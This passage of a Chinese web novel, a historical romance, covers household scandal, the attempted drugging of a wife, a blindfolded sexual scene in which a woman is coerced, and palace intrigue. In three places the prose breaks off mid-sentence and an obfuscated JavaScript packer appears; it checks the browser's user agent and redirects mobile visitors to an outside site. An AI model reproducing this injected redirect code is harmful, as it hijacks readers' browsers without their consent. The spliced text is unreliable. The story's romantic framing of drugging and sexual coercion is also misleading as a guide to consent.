程荇身上飘着一股呛人的酒气,醉醺醺地瞥了她一眼,抿了抿唇,眼中划过一瞬间的异样,转而又被怒火取代,对沈楹道: “谁让你自作主张的?这下可好,给我惹了个天大的麻烦!” “你一妇道人家,不说在家里安分守己,成天想着要管我在外面的事,真是吃饱了撑的。” 这个家里,能拿捏住程荇的,除了老太太,就是程菩。 程老爷向来不管这等家长里短的杂事,听了也只会和稀泥。老太太这会儿午睡,只怕也得等着。 思来想去,只有让蕴娘去请程菩,看能否碰个运气。 薛宓娴蹙起眉,目光关切地看向沈楹。 只见她攥着袖子,眸中浮起一层薄薄水雾,似是失望,又似是愤慨,全无半分平日里持家理事时那等意气风发的模样,倒显出几分委屈的意味来: “老太太过寿那日,你去外面寻快活,我可有说过你半句不是?” “你将月娘养在柳园巷的宅子里,吃穿用度,花的都是我的账上的银钱。” “先前我还不知晓,以为你是拿去和人经商谈生意,一概都帮你平了。即便是老太太问起来,也多是帮你说好话。” “昨日我晕得厉害,才让人去请你……” 程荇高声打断道: “请我做什么?我又不是大夫!” “那院子里不止月娘,就是因为你,孙家夫人才跑过了捉了个现行!又牵出一等子事来,她闹着要去官府讨公道,还要逼着和离。” 沈楹看着他,忍了好半天,才没让自己的眼泪掉下来: “他家夫人要和离,你以为我便不想么?” 程荇愣了一下,冷哼了一声,不顾还有旁人在场,捏着沈楹的肩,厉声喝道: “你如今也是有了旁的心思,我看这府里是容不下你了!” “像你这般不解风情、木讷无趣的女人,出了程家的门,可还有第二个人敢要你?“ 薛宓娴有些听不下去了,纵然她一直是不掺和程府的家事,此时也顾不得了,连忙上前扶着沈楹,递了帕子过去: “沈姐姐,别急……” 程荇正怒气上头,一时间也顾不得什么了,抬手将她推开: “你还不是府里的夫人,少来管闲事!程菩和老太太不舍得给你立规矩,你倒还真蹬鼻子上脸,把自己当成程家的姑娘了?” “要不是你上回坏了我的事,我也不至于,把银钱全押在月娘那个外室身上!” 薛宓娴怔了怔,她从未得罪过程荇,二人虽同居府上,平日里却是连照面都很少打,即便是偶然遇见,也不过行礼了事。 何来坏事一说? 程荇仗着酒意,越发耍起性子,手在桌案上一拍,震声响得沈楹跟着颤了一下: “你装什么无知?那日月娘好不容易弄来给沈楹的药,谁知竟然是让你喝下了去。” “也不知没个男人在身边,你是如何挺过去的?那日若是事成,沈楹可还会如此畏惧那事?” 薛宓娴一下子明白了。 她一边浑身发冷,气得说不出话,一边又觉得荒唐,难以相信自己竟然还能见到比江昀更不要脸的人。 程荇偷偷养着一个外室,让她弄了迷情药下给夫人,却不经意害到了弟弟的未婚妻身上,而他事后却没有任何愧疚之心,大言不惭地指责起旁人来…… 若非今日逞着酒醉之意,只怕是她想破了脑袋都不可能知道,害自己被江昀拿住软肋的人,居然是自己未婚夫的亲哥哥。 而沈楹同样又惊又怒,惊得是自己的夫君竟然有这般恶胆,怒得是他混账至此,即便她已经尽力做好程家的夫人,他仍是恶习不改,乃至变本加厉。 程荇还想再说什么,身后又来了人。 只见程菩冷着脸,沉声道: “你在这里闹什么?” …… 不用沈楹和薛宓娴开口,自然有人把程荇在外面闯出的祸,全部告诉程菩。 饶是程菩曾经在天子身边做过官,理应见多识广,也未曾有幸认得过这般厚颜无耻之人。 月娘原是花满楼的一位舞姬,程荇与人亲近多时,婚后也不见有何收敛。后来实在心痒,便索性将月娘买了出来,与几个酒肉朋友包了个院子。 得了闲,几人便一起去厮混。干出的丑事,说上三天三夜也说不完。 沈楹昨日去请程荇的时候,不知怎的,惊动了孙家的夫人。 孙夫人原本就是个不肯吃亏的性子,而且她娘家有权有势,当初不过是看上了孙家郎君的容貌,一时迷了眼,才成了亲。 她对夫君不满已久,这件事不过是个趁手的幌子。 揭了自家人的短之后,她更是顺手把这件丑事给扬了出去,其他几位游手好闲的混账公子也跟着倒了霉。 现下城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970759|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中风言风语,多是在谈论这等子风流韵事的。 程荇因此被拂了面子,连带着月娘也说近些日子要避避风头,不肯再与他亲近,更是怒从心来,将脾气全出在了沈楹身上。 至于迷情药一事,也是程荇那狐朋狗友出的馊主意。 沈楹畏惧夫妻敦伦,总是放不开手脚,让程荇见得美色,却只能远观而不可亵玩,着实心痒难耐。 他们便唆使程荇去向花满楼中的老鸨要了药粉来,故意下在沈楹的吃食里,谁知竟出了错漏,恰巧那日老夫人吩咐做了一样的燕窝,才弄巧成拙。 事后,程荇也不敢声张,只能当此事没有发生过,连在沈楹面前都不敢提。也是倚着酒意逞威风,才一时说漏了嘴。 如今,沈楹哭着要与他和离,市井中关于程家的闲话愈演愈烈,孙家因夫人闹着和离,脸上无光,也来程府讨个说法…… 家事与公事,事事都出了乱子。 一时间,程菩竟然分不出哪个更为糟心。 因沈楹险些寻死,近些天只能让她好生安养着,不便再去打扰。 那些婆子们没了主意,又不能都把事情拿去烦程老夫人,只能由程菩来担着。 即便有薛宓娴帮忙,他还是分身乏术。 更别提应付外面那些乱子的时候,还有程荇跳出来捣乱,倚着兄长的身份,闹着让程菩帮月娘找个落脚之处,或是干脆纳入府中当个妾室,也省得日后多事。 成事不足,败事有余。 新仇旧账,还有他害了薛宓娴的事,都还没讨个说法,这会儿倒是还耍起威风来了。 程菩本就是个体弱多病的身子,又被兄长气得动了肝火,直接当着众人的面吐了血,再次病倒了。 …… 府上请了张珏,他亦没什么办法,只留了个方子,说要静养。 “这样多的事,让他如何能静?” 薛宓娴看着张珏,垂眸道: “程家,当真会是我的靠山吗?” 这些日子,她心里五味杂陈。 程菩病了,她一方面担心这位未婚夫会不会一气之下,直接让她守上望门寡,此后更加举步维艰。 另一方面,虽说程菩和他大哥不可相提并论,但总让她有些不安,成为程家的夫人,究竟是福还是祸…… 可也是因着如今的乱子,无人追究喝了迷情药之后,她究竟是如何挨过去的。 正值小暑,经过一场雷雨,烈烈日头蒸得人心烦气躁。 即便是屋内放了冰,薛宓娴依旧感觉热得有些头晕,连带着有些胸闷气喘。 额前浮起薄汗,鬓边的碎发湿漉漉地贴在耳边,身上的纱衣似乎都成了一份桎梏。 没有空调的日子,当真难熬。 张珏开口道: “别急,他的病没有你想的重,过几日便好了。” “要我说,之前程老爷才要退居江南的时候,事情更乱,最后不是也都解决了吗?” 语毕,张珏抬起头,对上那双盈然似水的桃花眸,如同一片羽毛,轻轻拨乱了他的心弦。 其中柔切的情思,更是让他生出了一种远远超出能力范围的冲动。 想要保护她,想要将她带离是非之地,想要按照她的心愿,送她回家…… 喉结上下滚了滚,他脱口而出道: “万一程家……我也可以,成为你的退路。” 薛宓娴抬眸看向他,只当他这是好心的安慰,即便是心里再烦,也撑着情绪,莞尔一笑: “如此,便多谢你了。” 窗外,江昀的视线紧紧锁在张珏的身上,将他从上到下打量了个遍,最终只是冷冷地嗤笑一声,颇为不屑。 …… 夜色已深,程菩退了烧,睡得很沉。 蕴娘反复劝说,薛宓娴终于顶不住倦意,同意让她替自己守一会儿,暂且回去歇息。 回廊之上,视线内忽然投下一片阴影,挡住了她的去路。 薛宓娴已经没有力气再理他了,只是木然行礼道: “江公子。” 江昀冷冷笑着,俯身凑近了些,轻轻拂去散落下来的青丝,在她的耳垂处轻轻吹了口气: “问姐姐安。” 只见那玲珑的珠玉耳坠晃了又晃,在月色下,折出一道暧昧的光。 “不是心烦吗?” 江昀不容抗拒地拉起她的手: “我可是好心,来替你分忧的。” 薛宓娴当然不信,本能地挣扎道: “放开!” 可她被江昀带着往前走,依旧挣脱不得。 “你要去何处?” 江昀不知从哪儿变出了布条,先是捆住她的手,再蒙上她的眼睛,将她打横抱起,轻轻吻咬她的耳朵: “别动。” 过了一会儿,听见木门开合的动静,江昀将她放下,揽着那纤软的腰,捏着她的脸,低头吻了下去。 柔软温.热的唇,连带着舌尖,都被含着反复吞.吮。只要薛宓娴躲,强势又攻击性十足的气息便会往深处侵,直到她放弃挣扎,主动迎合。 这一套招数下来,她亲得迷迷糊糊,一时间反应不过来。 忽然间飘来一阵苦涩的药味,隐隐约约,让她感觉分外熟悉。 紧接着,江昀抱着她,让她坐在了桌案上,抬起手,随意分开她的腿,又低下头。 薛宓娴的手往后一撑,忽然碰到了什么。 那件东西她熟悉的,是程菩的私印。 难道,此处是程菩的卧房—— 他到底要干什么? 她蓄起力气推拒,眼见着无效,便捶打着江昀的肩,哭问道: “你到底把我带去了什么地方?” 江昀嗤笑一声,凑近亲她,气息里带着性感的低喘,听得她的身体跟着一阵轻颤: “极乐忘忧之地。” 他哑声道: “姐姐不如猜猜,为何我们要在此处,而非榻上?” 14. [锁] [此章节已锁] 薛宓娴看着他,连呼吸都有一瞬间的凝滞,几乎说不出话来。 她内心自省,一面当然是被他气的,另一面,是江昀所作所为,让她脑中一片混沌,只能跟随着他的指引,从而忘记了自己本来要去做什么。 未曾卸下的珠钗步摇轻晃着勾缠在发间,气息失去原本的节奏,所有的言语被欺得凌乱纷落,最后只剩下摇摇欲坠的理智艰难支撑着她,没有就此轻易妥协。 她无意识地弯着腰,用力握住他的手腕,圆润的指甲轻轻划过他的手背,而后被紧紧扣住。 薛宓娴靠着他,仿佛是挣扎已久的溺水之人遇见了唯一的一根浮木,不自觉地将其视为救命稻草,呜咽软语尽数落在他的耳边: “别……别在他面前……” “求你了……” 不知是不是她的错觉,江昀的呼吸似乎在她开口的瞬间变得低沉又急促,仿佛是在狠狠压抑着什么。灼热的吻顺着她的耳朵,缓缓下移,不放过每一寸,最终落在了她的颈侧。 他手上的动作不停,似是在胁迫: “看来,姐姐知道这是何处了。” 薛宓娴仰起头,蒙在眼上的布条被一点点的浸湿,晶莹的珠泪顺着脸颊滑落,却见他恰时凑上来,轻柔而又贪恋地吻去。 湿漉漉的手指轻车熟路地按上柔软红润的唇,她本能地想躲,却又被狠狠扳了回来。 下一刻,铺天盖地的强势气息让她身体发颤,掠夺不容抗拒,过于猛烈,导致她根本来不及反应,甚至来不及喘息,就被迫陷入了深深的沼泽中。 “唔……” 好不容易咬上舌尖,尖锐的刺痛逼着他短暂退开。 心口剧烈地起伏着,她紧紧攥住他的衣襟,虽说被蒙着眼,什么也看不见,但直觉在此刻却异常灵敏,能清晰辨出他的位置: “你疯了吗?” 她压着声音质问: “你答应过我的,不会影响我的婚事。” 江昀冷笑一声,低下头,鼻尖与她相贴,二人衣衫凌乱地纠缠在屋内迷蒙的黑暗里,似乎连气息都渐渐交融在了一起: “可不是么……” “他现在昏睡不醒,姐姐就算是贴在他的耳边说话,都不会有任何反应。” 薛宓娴颤抖了一下,不知从哪里生出了勇气,猛地一把将他推开,而后胡乱拢起散乱的衣裙,跌跌撞撞地想要往外逃。 她碰倒了什么,手臂吃痛,忍不住闷哼,再不顾被“撕拉”一声挂住的衣裙,只想着要往前走,要赶紧逃离这是非之地。 她的手抓住蒙在眼前的布条,不知是不是因为太过慌乱,竟然接连着几下,都未能将它扯掉。 手刚扶上门框,都来不及推开,便被人拦腰抱了回去,任她如何踢打挣扎皆无济于事。 她被反身压了下去,桌案上的堆叠的书卷纸张,伴随着“哗哗”的声响,飞雪般纷然落地。 江昀分明没怎么施力,可是移开手,却看见那皓腕上生出了浅红色的压痕,如同雪中早梅,云间血月,高悬于上,俯视着他心底深处的卑劣。 薛宓娴挣扎着,忽而只听得一阵风急雨促,她顷刻间掉下泪来,瞬间失了反抗的力气和决心。 可是,她分明没有受伤。 很奇怪,不是么…… 错乱的知觉,如同荒园深处疯长的藤蔓,攀过层层高墙,将她牢牢绑缚。 她不用回头,也知道发生了什么。 此刻继续反抗,无异于以卵击石,她是知道江昀会做什么的,知道这样只会带来更加严重的后果。 她不想冒险。 “别动。” 江昀俯身吻在她的耳侧,悠然接上了自己方才的话: “难不成,姐姐想让他亲眼看着,你是如何与我快活的?” …… 视觉被遮挡,其它的感官,在黑暗中主动充替了作用,变得格外敏锐。 任何一点细枝末节的刺激都能被无限放大,这似乎也正是江昀的用意。 她还没有回过神来,呆呆地沉浸在无边的黑暗里,不由自主地滑跪下去,却又被轻而易举地提了起来,再次抵在了书案边。 他在生气吗? 因为她刚才的抗拒,还是别的什么? 惊雷骤响,雾雨濛濛。 忽如其来的凉意破开暑热,她隐约有所察觉,开口道: “对不住,我不该……” 接下来的话有些难以启齿,她咬着唇,盼他能心意相通,体会出她的未尽之语。 江昀并没有理会她心意不诚的歉意,骨节分明的手指捏上了她的脸,只见那红润的唇微微张开,努力汲取着不可或缺的氧气。 他不需要道歉。 轻飘飘的“对不住”,是这世上再恶劣不过的谎言。 他只需要毁掉程菩珍视的一切,让程菩捧在心上的至宝,陪他一起深陷泥潭。 江昀的嗓音暗哑,带着略微急促的气息,直直地望着她的眼睛,眸光清明,理智在一番斗争后勉强占了上风: “姐姐。” “我和程菩,你选谁?” 视线被迷蒙的泪水阻隔,薛宓娴抬眸看他,目之所及,他的身形混沌且模糊,可那攻击性十足的气息却又那样清晰。 他迫切地想要问出个结果。 她颊色烧红,自然知道他想要听的答案是什么。 如果这样就能逃过一劫,她心一横,自觉也没什么好放不下脸面的。 可江昀这回没有轻易上钩,只是冷哼一声,说道: “那个小大夫呢?” “瞧着你对他也是欢喜得很。” 他低下头,轻咬在她的肩头,后面的话没有再说出口—— 你为何见了他,笑得那般温柔? 你唯独对我避之不及。 薛宓娴不知他此时提起张珏是做什么,但他的心思一向很难揣测,好在答案显而易见,她很轻易就能答对。 可惜,江昀出尔反尔。 薛宓娴似乎当即恼了,故意与他作对,说了相反的话: “程二哥哥也好,张公子也罢,他们都比你好,比你好千万倍!” “我选谁也不会选你。” 江昀嗤笑一声,手指不轻不重地按上她的唇: “是么?” 对了,这才像她的真心话。 可他心里却像是压了一团火,方才答应好的休止早已被抛到了九霄云外。 他不再说话,只是抬起手,紧紧捂住了她的嘴,以防再说出什么他不愿听的话。 可掌心却被轻轻地舔了一下,谁料薛宓娴这一招,竟是以退为进。 尽管被蒙上了眼,她仿若心有灵犀,牵起他的手,如同那个雨夜般,放在自己的心口。 心跳声剧烈,一下下地敲在他的掌心。 “答对是罚,答错也是罚。” “那你自己来听,可好?” 江昀当真停了。 但他是故意的,停得不是时候,正巧卡在一个不上不下的关头,勾得薛宓娴喘息着,不得不挺直了腰,仰起头颤抖着来亲他。 他只是浅浅垂眸,冷笑一声,低头承住了她的吻。 本是想瞧着她的不堪,却不料她竟学会了反客为主,倒把自己给赔了进去。 当真是好本事。 …… 已经完全被泪水浸湿的布条终于功成身退,江昀将她打横抱起,放在了自己的榻上。 这里不是程菩的卧房。 而是他的院子。 说不清自己当时究竟是什么心理,或许是不想铤而走险,或许真的像风升说的那样,他有一瞬间,对她心软了。 收拾干净后,他坐在她的身侧,抬手拨开那柔软的青丝,望着她安然恬静的睡颜。 距离很近,他能看清那长而微翘的细密睫羽在轻轻颤抖,上面悬着点滴未散去的晶莹。 她如同疾风骤雨催折后的花草,脆弱却又有种不屈的坚韧,实在令人心向往之。 听见身后的动静,江昀嗤笑一声,变了脸色,取而代之的,是他一贯示人的冰冷与漠然。 风升看了看他,又看了看他身后侧身沉睡的女子,咽了咽口水,想说的话有很多,却又转而一想,觉得实在没必要说。 类似的回答,他已经听过很多次了。 他只得移开视线: “殿下,陆大人来信。他已经按您吩咐的做了,京中风声四起,皇后已经对永王起了疑心。” 江昀冷笑了一声,回到桌前,随手抽出一封信,拿起程菩的私印: “不日,皇后会抄底王府,届时她若看到这封信,自会有所行动。” “程菩既然选好了自己的傀儡,那我便帮他一把,成全他的青云之志。” 鸟尽弓藏,兔死狗烹。 这些痛苦,他要让程菩亲自体会一遍。 …… “姑娘……姑娘?” 薛宓娴缓缓从榻上坐起,揉了揉眼睛,失神片刻,眸中才渐渐聚焦起来。 只见蕴娘执起一旁的扇子,又递了清凉的茶水过去,说道: “前些天那般守着,可是累坏了吧。都说热气攻心,叫二公子知晓了,他又不知该如何心疼呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983729|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 薛宓娴润了润嗓子,感觉昨夜被颠走的神魂,终于归了位: “二哥哥醒了?” 蕴娘笑了笑: “正是,只是不知出了什么急事,他匆匆让人备轿离府,还让我回来转告姑娘,说您不必操心府上的事情,一切都交给他便是了。” 薛宓娴低下头,没有说话。 梳洗完毕后,蕴娘似乎想起了什么,又补充道: “另还有件事,先前江小公子去给老太太请安,他身上的伤似乎都好利索了,正打算择个日子离府呢。” 薛宓娴点口脂的动作一顿,眨了眨眼睛,不自觉地笑了一下: “当真?” 蕴娘弯腰捡起地上掉落的珠钗,应道: “自然如此。只是还需等二公子开口,按着道理,想是还要设个宴为他践行。” 薛宓娴擦去指尖的胭脂,只感觉连窗外的烈日都瞬间变得和煦了起来。 灰暗的日子忽然被撕开了一角,原以为山穷水尽之处,不想竟已是柳暗花明。 太好了。 她只求赶紧把这位疯子送走,最好此生不复相见。 …… 沈楹还在休养着,程老夫人昨日起了热症,自然也不好再让她老人家为家中的琐事烦心。 用过午饭,薛宓娴去程菩的院子里略坐了坐,等不到他回来,便要起身离去,却见照顾程茹的下人送来了她的功课。 这点力所能及的小事,便不必再让程菩操心了。 薛宓娴接过字帖,临摹的是一首长诗。 她正仔细看着,忽然一个哭哭啼啼的小丫头闯了进来,什么话也不说,“扑通”一声在跪下,抹着眼泪道: “奴婢恳请二公子和姑娘,定要为我娘做主。” 在她身后,沈楹的贴身侍女霜娘一路小跑,气喘吁吁地走上前来,行礼道: “见过薛姑娘。” 薛宓娴起身去扶那个小丫头,柔声开口: “二公子出门去了,还未回来。” “这又是出了什么事?” 霜娘叹了口气,说道: “这位是赵婆子的女儿,莲芝。” “她本是在郊外钱庄做工的,这个月休息,便回府上看望她娘。” “可两三月前,赵婆子失踪了。府上寻了好几个时辰,最后是在枯井里找着的。那会儿人都不成样子,管家也是疏忽,未去知会莲芝,只报了夫人一声,便将她葬了。” “夫人那会儿正忙着寿宴的事,只当是意外。哪曾想莲芝回来,四处去问,同住的婆子指了一个人,说是在大公子屋里伺候的素音害了她娘。” “素音平日里和赵婆子颇有恩怨,据说出事前一晚,还拌嘴说要将人推入井中摔死。” “眼下,莲芝执意要素音偿命,但素音又坚称不是她做的。夫人身子不好,再经受不起刺激,我便拦下来,想让二公子做主。” 莲芝哭得喘不上气来,一开始还能好好说事情经过,后来完全顾不得理智,撕心裂肺地哭骂着,劝都劝不住。 薛宓娴一边温柔安慰,一边拿了帕子,替她擦脸。 待莲芝情绪稳定些,她便让蕴娘看着,转而带着霜娘走到一旁,蹙起眉头,叹了口气: “此事,大公子如何看?” 毕竟,这事牵扯的是程荇身边的人。 按照霜娘的说法,素音打小就在府里,和莲芝一样是家生子,即便是程菩,想来也不便绕过他大哥擅做决断。 霜娘连忙道: “可不能让大公子知晓。且不说这几日他和夫人吵着,脾气不好。之前也是他的房里,一个丫头指另一人偷了她的荷包,还不等夫人查个明白,大公子竟是让人将她们二人都拖出去,乱棍打死了。” 薛宓娴一时不知说什么。 她熟悉的人,无论是程老夫人、沈楹还是程菩,皆是宽和仁善,即便手下的人做错了什么,该罚月钱的罚月钱,再严重误了事的,也不过逐出府去,再不用他便是了。 何至于将人活活打死…… “如此——” 她思忖片刻,开口道: “此事先不要惊扰旁人,你且先回去,待二公子回来,我再告与他。” 送走了霜娘,薛宓娴便带着莲芝回了自己的院子,找了间屋子将她安顿下来。 待莲芝安静下来,薛宓娴稍稍松了口气,又听人说程老夫人要见她,便匆匆去了。 谁知,等她回来,蕴娘面色苍白地迎上来,惊魂未定: “姑娘,不好了。” “莲芝她……死了。” 15. 圈套 已是掌灯时分,园圃内葱茂的花草,在昏晦幽光下,投出一丛细密窈窕的倩影。隐隐可间续闻得几声微弱的虫鸣,不过是由近及远,周而复始。 院门外守着的丫头见了薛宓娴,连忙笑着迎上来,借过蕴娘,伸手去扶: “姑娘来了,这边请。” 薛宓娴独身一人进了院子,她去找程菩说话时候,蕴娘都不会再时时跟着。 蕴娘与程菩身边的小丫头们关系不错,二位主子在屋里说体己话,她也正巧能和姐妹们聊几句闲。 廊前阶上,张珏提着医箱,从屋里出来。 他回身掩上门,轻轻一拂袖,周身的清冷气度如云外谪仙,唯独眉头紧皱,化不开的层层思愁又为他染上了一抹微妙的俗世人情味。 抬头瞧见了面前的薛宓娴,他眸中一亮,却仍故作平常,缓声道: “见过薛姑娘。” 薛宓娴停步于阶下,笑了笑: “瞧你,近些日子,怕是没睡了几个整觉。” 张珏道: “城外集聚了一批自清远郡南下的流民,其中患病者甚多。医馆内收不过来了,我便去棚里给他们看病。一来一回,难免折腾精力。” 他知道薛宓娴是来做什么的,不由得对程菩生出了一点艳羡和嫉妒,心下酸涩,却没有表现出来: “想你也是来打听二公子的。” 但薛宓娴敏锐地察觉到了一点异样,抬眸看了他一眼,只当是自己多心了。 张珏接道: “二公子这病症,吃了药原应无碍的。但今日我诊脉时,总觉得有哪里不对,气血亏虚,较先前尤甚。可我的方子,已是为他补了气血,因而觉着奇怪。” 他又补了一句: “不过,兴许是我医术不精,一时有误也未可知。” 薛宓娴想了想,开口问道: “那方子可还留着?” 张珏道: “方子自然是该留下的,往后旁人要来看也使得。另外,这些时日里的银钱府上的人已为我结清,便不用再来了。” 薛宓娴不解,无意识地向阶上迈了一步: “为什么?” 张珏淡然道: “程府来给二公子诊病的大夫,每隔一段时日就需换一人,这是早就有的规矩。” 薛宓娴第一次听说这样的事,但她也无法为此改变点什么,只能点了点头,默然片刻后,再度开口: “先前的游记,你可看出什么了?” 张珏摇了摇头: “前世我曾听一位老丐提起过,南都十二仙,乃是平定天下的关键。传闻中有十二天神化托凡胎,为天命之人指点明津。” “书中反复提及南都十二仙,并非巧合,应是和我们回家的办法有关。只是惭愧,我近些日一直忙着看医书,暂且腾不出手去钻研此事。” “你若是有什么发现,还劳请去医馆告诉我。不过,我若是出门问诊,你也不必久等,只管寻最瘦的那个小医童就是,他会将话带给我的。” “天色不早,我还得去城外送一趟药,便不多留了,” 薛宓娴微微侧身,为他让出一条路来。 错身而过的瞬间,她想起什么,叫住了他,柔声补道: “城外热疫闹得厉害,加之我听说,流民中或有盗匪流窜,你千万小心。” 张珏回头看她,唇角浅浅勾起一个弧度,礼数周全地行了个礼,转身离去,似乎连脚步都变得轻快了许多。 …… 屋内,程菩坐于窗下,不急不慢地斟了一盏茶,笑着起身,请薛宓娴过来坐。 听完莲芝的事,他的手指在桌案上轻点了几下,眉头渐渐皱了起来,只是冷笑一声: “她惦记着要查出赵婆子的死因,怎会轻易寻死?” “难怪,方才程荇忽然说要把房里的素音扶正,都不顾大嫂子尚且卧病在床,另有孙家和沈家等着他给个交代。” “哼,我原以为他是色.迷心窍,未曾想背后竟有这般因由。” 薛宓娴微微蹙起眉,凑近了些,轻声道: “所以,二哥哥觉着,是大公子杀了莲芝?” 她心里总有一种奇怪的直觉,在听闻莲芝死讯的那一刻,想到的罪魁祸首并非程荇,而是…… 江昀。 但程菩似乎并未察觉她的话外之意,抿了抿唇长叹一口气: “我不过只是猜测,就算是拿了人来问,总得有证据才是。” “依稀记得,莲芝是赵婆子的独生女。赵婆子早年丧夫,着实是个可怜人。待我明日派人去庙里请个师父,为她们母女二人诵诵经,盼着来世也能再续缘分。” “我会让人扣下素音,倘若她当真做了什么伤天害理的事,哪怕她是老太太身边的人,府里也断然再留不得。” 薛宓娴温柔地笑着,轻轻摇了摇头,提醒他: “大公子既存了扶正的心思,只怕不会轻易让二哥哥动他房里的人。” “此事,还不能太过声张。沈姐姐如今卧病在床,若是再让她知晓素音的事,只怕又会劳心烦神。” “总得有个周全之策才好,二哥哥觉得呢?” 她说完,却没等到程菩的回答。 只见程菩定定地望着她,眸中情意温润而又醉人,不过是轻轻掀起一角,就让人打心底里为之动容。 程菩心里想的是—— 她既唤程荇为“大公子”,却又唤他为“二哥哥”。 世人常言,远近亲疏有别,他反复品味了许久,忍不住大胆地去做那个摘月之人,去触碰自己心中那个可遥望却不敢贪求的念想。 她待我,原是与他人不同的。 这个发现让他欢心雀跃,心跳猛然变得很快,声声喧嚣,连带着身子都轻微发颤,浑然已经忘了自己方才准备说的话。 他有些心虚地避开视线,脸上泛起一阵薄红,装模作样地咳了一声: “此事,全权交给我。你且放心,我定会思虑周全,还莲芝一个公道。” …… 不过坐了一会儿,说了些话,薛宓娴便感觉热得厉害。晚间的暑气又干又闷,似乎是有一块石头压在胸口,不免让人有些头晕。 她拿出帕子,轻点拭去脸上蒙着的薄汗。 不过是细微的小动作,却被程菩收入眼底,命人再添盆冰来。 制冰机此时还不知要去哪里转世投胎,冰块是最为稀罕的物什,炎炎夏日里能用上冰的人家,非富即贵。 不过,即使程府用得起冰,也是有份例的。 薛宓娴深知自己作为外来寄住的姑娘,虽有程老夫人和程菩撑腰,但要求多了难免讨人嫌,因此,她几乎从未提出冰盆的要求。 于是,她连忙婉言阻止: “再拿个大些的扇子来便是了,何必破费用冰?二哥哥,你身子未好,且当心受凉。” 不等她再说第二句,便已有一盏茶停在身前。 程菩自然知道她的顾虑,笑着摇了摇头,温声安慰: “不碍事。” “这茶清热解暑的,这夜间格外闷热,你一路走来,当心中了暑气。” 薛宓娴借着喝茶的动作,仔仔细细地打量了程菩一番。 从面色来看,与前几日大病缠身的模样相比,他的确是精神了不少,任怎么看也不想是气血大亏的模样。 但她相信张珏,相信他不会轻易诊错。 所以,这背后定还有什么古怪。 她开口道: “二哥哥今日可有好些?说着要静养,偏你要急着出去。” 程菩听着她的柔声抱怨,心瞬间酥软了下来,指尖传来一阵微麻,忍不住轻轻握了一下拳,却并未有所缓解。 他本是不想说那些事的,但看着薛宓娴这般看着自己,不知是何种心思忽然上头,还是开了口: “钱庄那边,出了点乱子。” 他笑着补了一句: “不过此事倒小,还不及大哥惹出的祸半分。” 钱庄,是程家忌讳莫深的秘辛。即便是程老夫人,也不会对薛宓娴多透露什么,每次都是只和沈楹交代,屋内连一个婢女都不许留。 因而,薛宓娴也识趣地没有多问。 程菩却是主动道: “钱庄的事,我即便今时不说,日后你也总是要知晓的。” “娴娘,你往后不久便是我的妻。” “我不应再有事瞒着你。” …… 原来,程家的钱庄,除了平日里用于放贷收租外,竟还是个掩人耳目的据点,一直在暗中打探着当年云妃那两位失踪皇子的下落。 程菩说道: “云妃残害皇嗣,事发后畏罪自戕。出事前不久,她的两位皇子,三殿下和九殿下,恰巧在宫外花灯节上走失。陛下原本派了人去寻,云妃死后,此事原本渐无人再关心了。” “可近些年,许是陛下念了旧,不光在京城数举推行缅怀云妃之风,还大张旗鼓地派人去各处寻找那两位皇子。” 他悠然饮了口茶,接着说道: “只是,云妃当年害死的,是皇后的养子。因而皇后与云妃多有不对付,虽对陛下之举大有不悦,但也不敢明着劝阻。” “去年秋月,有位青年人击响登闻鼓,称自己便是那位走失的三殿下齐王,要为云妃及云家鸣冤。可消息尚未传到陛下那里,他就死了。” 薛宓娴怔了一下: “是如何死的?” 程菩意味深长地笑了笑,又为她添了茶,避重就轻道: “宫闱秘事,岂是你我可以说清的?总之,齐王是死了。但另一位,九殿下李容卿,走失时不过垂髫,至今仍下落不明。” “不单是我,皇后、陛下乃至心思各异的世家门阀,全在找他。只是此人神出鬼没,如妖邪一般,即便得了踪迹,也总是扑了个空。” “当今太子之位,陛下仍举棋不定,魏王即便已是有了九成的把握,但向来定生死的,便是那一茬变数。” 薛宓娴蹙起眉头,她记得春日游湖之时,程菩在程老夫人面前,可不是这一套说辞。 程菩见她面色有异,以为是自己说得太多,让她烦心了。 方才那位即便天崩于眼前,依旧泰然处之的清俊才郎,忽然间红了脸,眸光躲闪,深切自责: “我说的……吓着你了?” “对不住,我不该说这些的。惹你烦心,是我的错。总之,万事你都不用操心,有我担着。” 他搭上薛宓娴的手,安抚似的轻轻覆住: “这些你权且当个故事听听便罢了,钱庄不过是出了个吃里扒外的叛徒,我自有办法料理。” “你可信我?” 薛宓娴倾身过去,手指轻轻点住了他的唇上,直勾勾地看向他的眼睛,柔声道: “我自然是信的。” 如何三言两语拿捏程菩,对她来说只不过是信手拈来,根本不用思考: “能得二哥哥倾力相护,是我此生福气。” 如她所料,程菩自然咬上了钩。 他握着她的手,片刻后,只是将自己的唇轻轻贴上了她的指尖,一触即分: “能得你垂怜,哪怕片刻,也是我此生至幸。” …… 回去的路上,薛宓娴手里提着灯,看着在枝叶投落在地上的影子,心里莫名有些不安,总觉得程菩方才是话里有话。 皇帝找儿子,无可厚非。 皇后找仇人之子,也并无不妥的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 